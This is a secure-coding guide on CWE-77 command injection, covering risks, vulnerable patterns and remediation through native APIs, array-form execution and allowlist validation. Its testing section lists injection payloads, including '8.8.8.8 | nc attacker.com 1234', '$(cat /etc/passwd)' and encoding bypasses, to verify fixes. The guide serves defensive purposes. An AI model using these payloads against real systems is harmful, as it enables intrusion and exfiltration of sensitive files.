CWE-77: Improper Neutralization of Special Elements used in a Command (Command Injection)
Overview
Command injection (also known as OS command injection or shell injection) occurs when an application constructs system commands using untrusted input without proper sanitization. Attackers inject shell metacharacters to execute arbitrary commands on the server's operating system with the same privileges as the vulnerable application.
OWASP Classification
A05:2025 - Injection
Risk
Command injection enables complete server compromise:
- Remote code execution: Execute any command with application privileges
- Data exfiltration: Read sensitive files (
cat /etc/passwd,type C:\secrets.txt) - System takeover: Create admin users, install backdoors, modify system files
- Lateral movement: Use compromised server to attack internal network
- Data destruction: Delete files, drop databases, corrupt backups
- Resource hijacking: Install cryptocurrency miners, launch DDoS attacks
- Privilege escalation: Exploit SUID binaries or kernel vulnerabilities from shell access
A single command injection vulnerability can result in full server compromise in seconds.
Relationship to Other CWEs
- CWE-77 (This page) focuses on improper neutralization of special elements in command strings.
- CWE-78 (OS Command Injection): is a closely related, broader category often used by tools to report OS command injection issues.
Common Attack Vectors
Vulnerable patterns:
// Dangerous: User input directly in command
system("ping " + userIP);
exec("convert " + fileName + " output.pdf");
Runtime.getRuntime().exec("nslookup " + domain);
Shell metacharacters that enable injection:
- Command separators:
;,&&,||,|,\n - Command substitution:
`cmd`,$(cmd) - Redirection:
>,<,>> - Wildcards:
*,?,[] - Variable expansion:
$VAR,${VAR} - Background execution:
&
Remediation Steps
Core principle: Never allow untrusted input to influence shell command structure; avoid shell execution entirely and use parameterized process APIs where input stays a single argument.
Trace the Data Path and Identify Command Execution
Analyze how untrusted data reaches system command execution:
- Source: Identify where untrusted data enters (user input, external files, databases, network requests)
- Command Construction: Look for string concatenation in command building
- Sink: Locate command execution functions (
system(),exec(),Runtime.exec(),Process.Start()) - Shell Invocation: Check if shell is invoked (string form vs array form,
shell=Trueflags) - Missing Validation: Identify gaps in input validation
Eliminate System Commands (Primary Defense)
Replace shell commands with native language APIs or libraries:
Common replacements:
- File operations: Use language file I/O APIs instead of
rm,del,cat,type - Network operations: Use native HTTP clients, socket libraries, or ping APIs instead of
curl,wget,ping - File conversion: Use image/document processing libraries instead of command-line tools
- Compression: Use archive libraries instead of
tar,zip,gzipcommands - Data processing: Use language native parsers instead of shell utilities like
grep,sed,awk
Why this works:
- No shell invocation eliminates injection risk: Without shell execution, metacharacter injection is impossible
- Native APIs are inherently safer: Language libraries don't interpret special characters
- Performance and portability benefits: Native code runs faster and works consistently across platforms
Note: See language-specific guidance files for detailed examples of replacing system commands with native APIs.
Use Parameterized/Array-Based Execution
When system commands are unavoidable, use safe execution methods:
Key principles:
- Use array/list form:
["command", "arg1", "arg2"]not string concatenation - Separate arguments: Pass arguments as separate elements, never concatenate
- Disable shell: Use
shell=False,UseShellExecute=false, etc. - Avoid shell wrappers: No
cmd.exe /c,/bin/sh -c,bash -c
Example:
VULNERABLE (string concatenation):
SECURE (array form):
// Prevents command injection (CWE-77), but still requires validation to prevent argument injection (CWE-88)
execute(["ping", userInput]) // userInput treated as single argument, no injection
Note: See language-specific guidance files for exact API syntax.
Add Strict Input Validation (Defense in Depth)
Even with safe APIs, validate all untrusted data:
Validation requirements: 1. Define expected format using regex patterns 2. Reject input that doesn't match exactly 3. Never attempt to "sanitize" or "escape" - use allowlist validation only 4. Keep validation patterns restrictive
Common validation patterns:
- Hostname: Only alphanumeric, dots, hyphens (
^[a-zA-Z0-9.-]+$) - IPv4 address: Four octets 0-255 separated by dots
- Filename: Only alphanumeric, underscore, dot, hyphen - no path separators
- Numbers: Only digits (
^[0-9]+$)
Critical: Validation is defense-in-depth. Always use it WITH safe APIs, never instead of them.
Use Restricted Execution Environments
Limit damage if command injection occurs:
Defense in depth measures:
- Run application with least privilege (not root/Administrator)
- Use containerization (Docker, Kubernetes) to isolate processes
- Apply SELinux/AppArmor policies for mandatory access control
- Use chroot jails or sandboxing to restrict filesystem access
- Disable unnecessary shell features and limit available commands
- Limit network access from application servers
Test with Command Injection Payloads
Verify your fixes with attack patterns, including:
Command chaining:
8.8.8.8; cat /etc/passwd8.8.8.8 && whoami8.8.8.8 || ls -la8.8.8.8 | nc attacker.com 1234
Command substitution:
`whoami`$(cat /etc/passwd)${IFS}cat${IFS}/etc/passwd
Encoding bypasses:
test%3Bwhoami(test;whoami)test\x3bwhoami
Ensure all are rejected or treated as literal arguments, and legitimate functionality still works.
- Confirm the finding is resolved
- Check for any new findings introduced by the changes
Language-Specific Guidance
- C# - Process.Start with argument validation
- Java - ProcessBuilder, Runtime.exec with argument arrays
- PHP - escapeshellarg, proc_open with secure patterns
- Python - subprocess with argument lists, avoiding shell=True
Dynamic Scan Guidance
For guidance on remediating this CWE when detected by dynamic (DAST) scanners:
- Dynamic Scan Guidance - Analyzing DAST findings and mapping to source code